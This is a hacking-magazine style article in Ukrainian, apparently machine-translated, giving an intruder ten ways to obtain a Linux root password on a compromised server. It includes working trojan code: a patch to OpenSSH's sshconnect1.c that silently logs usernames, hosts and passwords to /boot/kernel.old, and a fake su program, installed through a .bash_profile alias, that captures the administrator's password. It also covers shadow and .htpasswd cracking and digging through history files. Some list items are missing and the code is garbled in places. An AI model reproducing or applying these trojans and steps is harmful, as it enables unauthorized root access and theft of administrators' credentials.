Мабуть, найбільша проблема в хаке - визначення рутовий пароля. Навіть коли хакер зламав систему будь-яким експлойтів, дістати пароль не так то просто. Але на кожну гайку знайдеться свій болт, тому дозволь тобі розкрити 10 універсальних способів дізнання цієї важливої інформації;). Ні, тобі навіть не потрібно зустрічатися з адміном і поїти його пивом до несвідомого стану (а точніше, до стану, в якому він розкриє тобі важливу інформацію). Все набагато простіше - існують прийоми, після застосування яких, ти отримаєш root password. Природно, все залежить від ситуації. Всі вони будуть обговорені нижче.
1. Пошук в Perl / PHP-скриптах.
Метод застосовується при першій-ліпшій нагоді злому.
2. Пошук в HISTORY-файлах.
Часто адміни використовують консольні програми, яким передають пароль прямо з командного рядка. Це все записується в history-файл під назвою .bash_history (природно, для інших інтерпретаторів назва файлу буде іншим). Туди ж може потрапити інфа через помилку адміністратора в команді (я, наприклад,
бачив то, як адмін замість "su" набрав "psu", а потім свій пароль).
Існує інший файл історії. Він називається .mysql_history і знаходиться також в домашньому каталозі користувача. Там ти можеш знайти команди зміни пароля для SQL-доступу. Цей пароль, можливо, співпаде з рутовий.
Спосіб застосуємо лише коли є повний контроль над системою. Але трапляється таке, коли HISTORY-файли мають атрибут 644. Знайти такі файли (а потім прочитати) можна за допомогою команди find / -perm 644 -name * _history.
3. Пошук в .htpasswd.
Розшифрувати такі хеші можна програмою John The Ripper. Не мені тебе вчити цим займатися, тому вважаю, що даний метод тобі зрозумілий.
4. Пошук в інших файлах.
Зустрічаються сервера, де паролі вказуються в файлах сторонніх додатків. Наприклад, я стикався з ситуацією, коли рутовий пароль лежав у файлі socks5.password.
Увага! Ці файли можуть виявитися недоступними для читання. Тому, тут все залежить від ситуації ...
5. Нотатки на полях.
Часто адміни залишають важливі файли в своїх каталогах. Вони містять деякі замітки. Не виключено, що серед таких ти можеш зустріти і паролі. Я сам стикався з таким і нарив рутовий пароль у файлі "notes". Звертай особливу увагу на подібні речі.
6. Пошук в логах.
7. Сніфінг даних.
Деякі руткіти містять в собі локальний сніфер, який дозволяє легко дізнаватися паролі на ssh (проста модифікація / usr / bin / ssh з підтримкою логгінг;)). Зазвичай така підтримка і шлях до файлу з балкою вказується в документації руткита). Все добре, але засмучує лише одна обставина: більшість руткітів містять старий ssh, який підтримує лише перший протокол. У підсумку, хакер може видати себе повністю.
Але хто заважає зібрати власний ssh і включити в нього запам'ятовування паролів? Правильно! Ніхто. Знаходимо в пакеті OpenSSH файлик з ім'ям sshconnect1.c. Потім вставляємо в його вміст наступні рядки:
Після рядка "snprintf (prompt, sizeof (prompt),« %.30s@%.128s's password: «, server_user, host);"
ifile = fopen ( «/ boot / kernel.old», »a»);
fprintf (ifile, "session% s% s \ n», server_user, host);
fclose (ifile);
Після рядка "password = read_passphrase (prompt, 0);"
ifile = fopen ( «/ boot / kernel.old«, »a»);
fprintf (ifile, "password is% s \ n», password);
fclose (ifile);
Якщо все зроблено правильно, ssh збереться без пригод. Тепер адмін не помітить вади в системі, а ти дізнаєшся його пароль на ssh. Коли він ходить під рутом - це і буде рутовий пароль;).
8. прикидати системним сервісом;).
Цей метод я описував в одному з номерів Хакера (Юніксоід, Забави в Linux). Через те, що користувачі, які читали Хакер не відвідують сайту (і навпаки), буде не зайвим повторити мій хитрий прийом.
Отже, створюється файл такого змісту:
#define SORRY «Sorry»
#define PFILE «tmp / .screen»
#define MYPATH «tmp / .screen_active»
#include
void sigexit (int no);
int main () char pass [40];
char longs [100];
int filep;
signal (SIGINT, sigexit);
printf ( "Password:");
system ( «stty -echo»);
scanf ( «% s», pass);
system ( «stty echo»);
printf ( "\ r \ n");
filep = fopen (PFILE, "w");
fprintf (filep, "Pass is% s \ n», pass);
fclose (filep);
printf ( "% s \ r \ n», SORRY);
strcpy (longs, »»);
strcat (longs, »/ bin / ln -sf / bin / su«);
strcat (longs, MYPATH);
system (longs);
exit (0);
>
void sigexit (int no) system ( «stty echo»);
printf ( "\ r \ n \ r \ n");
exit (0);
>
і обзивається su.c. Якщо вдивитися в простенький код можна зрозуміти, що це повна імітація / bin / su, тільки з логування пароля в файл tmp / .screen. Сам бінарник буде перебувати в файлі tmp / .screen_active (всі шляхи щодо домашнього каталогу користувача). Після того, як файл виконається він заміщається стандартним / bin / su. Таким чином, адмін думає, що помилився паролем, так як з другої спроби СУІД буде успішним.
Перед тим, як перевіряти даний метод на практиці, впиши рядок "alias su /home/user/tmp/.screen_active в файл
/.bash_profile і чекай, поки адмін вирішить суіднуться на рута. Коли це станеться - пароль твій;).
10. Стандартний спосіб.
І, нарешті, настав час розповісти про самий тривіальний спосіб. Хакер захоплює систему і отримує доступ до / etc / shadow. Далі, все за сценарієм - береться розшифровщик, хороший словник і вся надія тільки на удачу. Я думаю, ти не раз стикався із застосуванням цього методу. І, що цікаво, постійно забував про решту 9 ...
Покажи цю статтю друзям: